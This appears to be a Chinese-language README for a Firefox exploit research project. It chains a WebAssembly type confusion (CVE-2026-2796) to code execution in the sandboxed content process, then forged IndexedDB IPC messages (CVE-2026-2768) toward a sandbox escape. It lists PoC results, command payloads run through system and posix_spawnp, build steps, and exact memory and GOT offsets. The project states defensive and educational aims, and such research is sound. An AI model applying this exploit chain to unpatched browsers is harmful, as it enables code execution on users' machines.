全链路 Firefox 漏洞利用研究:利用一个 WebAssembly 类型混淆实现渲染器代码执行,并串联到父进程漏洞以实现沙箱逃逸。两个漏洞均在 Firefox 148(MFSA-2026-13)中修复;这里的目标是 2fbc0748c4(2026-01-14)的 Firefox 148-nightly 代码树,早于这两个修复。
page loads crafted wasm module
│
CVE-2026-2796: Function.prototype.call.bind unwrap skips signature check
│ → i64 ↔ (ref $t) confusion → addrOf/fakeobj
│ → fake WasmArrayObject → arbitrary R/W in the CONTENT process
│ → forged WasmFuncRef → hijack call target ([funcref+0x38])
▼
native code exec INSIDE the sandboxed content process (sbLevel 3)
│ (sandbox blocks exec/fork — need a parent bug)
▼
CVE-2026-2768: forge IndexedDB add/put IPC with out-of-range
mAutoIncrementKeyOffsets (ParamTraits<Key> validates nothing)
│ → parent writes 8 bytes at attacker-controlled offset
▼
memory corruption in the UNSANDBOXED parent process = full escape
| 演示 | 位置 | 结果 |
|---|---|---|
poc/shell/poc-crash.js | js shell | 0xDEADBEEF 作为 funcref 被解引用 → 在 0xdeadbf2f 处 SIGSEGV |
poc/shell/poc-addrof.js | js shell | 任意读写自测通过 |
poc/shell/poc-forge.js | js shell | PC 控制:在植入的 canary 处崩溃 |
poc/shell/poc-rce.js | js shell | system("id > /tmp/CVE-2026-2796-PWNED; open -a Calculator") — 文件包含 uid=501(sid) ...,计算器弹出 |
poc/browser/stage1-browser.html | Nightly(sbLevel 3 内容进程) | 在沙箱化标签页中实现任意读写;伪造的 funcref 跳转到 0x4141414141414141 → 标签页崩溃,父进程存活 |
poc/browser/stage1-browser-cmd.html | Nightly(sbLevel 3 内容进程) | 泄漏 XUL 基址,解析 posix_spawnp(0x187xxxxx),以 /bin/sh -c "touch /tmp/PWNED-FROM-CONTENT" 调用它 → macOS 沙箱拒绝该 exec:文件未创建,页面未受影响 — 证明内容进程 RCE 本身 ≠ 命令执行 |
poc/browser/sandbox-proof.html | Nightly(sbLevel 3 内容进程) | 在沙箱规则内执行原生代码:getpid() 返回标签页的真实 PID(与 ps 匹配),原始 libc write(1, ...) 输出到浏览器的终端日志 — 无 fork/exec,无文件打开 |
poc/browser/fd3-proof.html | Nightly(sbLevel 3 内容进程) | 向 fd 3(父进程 IPDL 套接字)写入 32 个原始字节:父进程的 IPC 解析器消费了攻击者字节(Message needs unreceived descriptors ... num_handles:33),丢弃该消息并杀死标签页("Exiting due to channel error")— 第二阶段利用该传输原语,以格式正确但恶意的 IndexedDB 消息实现武器化 |
poc/browser/stage2-trigger.html | Nightly | 父进程漏洞路径的纯 JS 可达性(自增索引键 [1,2,3,4]) |
关于第二阶段的根因分析(修复补丁差异、IPC 序列化、利用策略),请参阅 docs/full-escape.md。
# Tree: mozilla-firefox/firefox @ 2fbc0748c4 (2026-01-14, pre-FF148)
# 1) js shell (stage-1 development, unsandboxed):
cd js/src && ../../configure --enable-debug --enable-optimize \
--without-intl-api --enable-project=js && cd _obj && make -j8
# 2) full browser (stage 2). mozconfig:
# export CC=/usr/bin/clang ; export CXX=/usr/bin/clang++
# ac_add_options --enable-application=browser
# ac_add_options --disable-debug --enable-optimize
# ac_add_options --disable-crashreporter --disable-updater --disable-tests
# ac_add_options --enable-sandbox
# ac_add_options --without-wasm-sandboxed-libraries
# requires: node, cbindgen, rustc >= 1.87, macOS CLT SDK
# local build notes:
# - private header sys/fileport.h shim added to objdir dist/include/sys/
# - one compile guard added: NSGlassEffectView (macOS 26 SDK symbol) wrapped
# in #if __MAC_OS_X_VERSION_MAX_ALLOWED >= 260000 in widget/cocoa/
# nsCocoaWindow.mm (build-environment fix, no security impact)
运行浏览器 PoC:使用设置了 browser.dom.window.dump.enabled=true 的配置文件启动 obj-browser/dist/Nightly.app,通过 file:// 打开 HTML 文件,并在 stdout 中查看 dump() 输出。标签页崩溃会在父进程日志中显示为 process <pid> exited on signal 10。
WasmArrayObject:numElements @+16、data 指针 @+24、内联数据 @+40。
WasmFuncRef:typeDef 指针 @+0x40、调用目标 @+0x38。JSFunction 原生指针 @+0x20。js shell:os_system @ base+0x1a9f8、system GOT @ base+0x11d47b0。浏览器:从 WebIDL 原生代码指针(console.log JSFunction +0x20)回溯扫描到 0xfeedfacf Mach-O 魔数,即可找到 XUL 基址;_posix_spawnp GOT @ XUL+0x9bb7d30、_getpid GOT @ XUL+0x9bb7600、_write GOT @ XUL+0x9bb87e0。伪数组窗口必须位于带外(malloc 分配)数组中 — 内联/新生代对象在长时间扫描期间会被 GC 移动。
通过 CVE-2026-2796 实现的渲染器代码执行已得到完整演示(shell 与浏览器)。CVE-2026-2768 的沙箱逃逸分析已对照修复补丁完成源码级验证;实机端到端的父进程破坏触发仍在进行中(参见 docs)。本研究仅用于防御/教育用途;相关漏洞已在当前版本中修复。
e2acef67c5dea6ec仅用于安全研究、教育和防御性测试。请勿对你不拥有或未获明确授权测试的系统使用。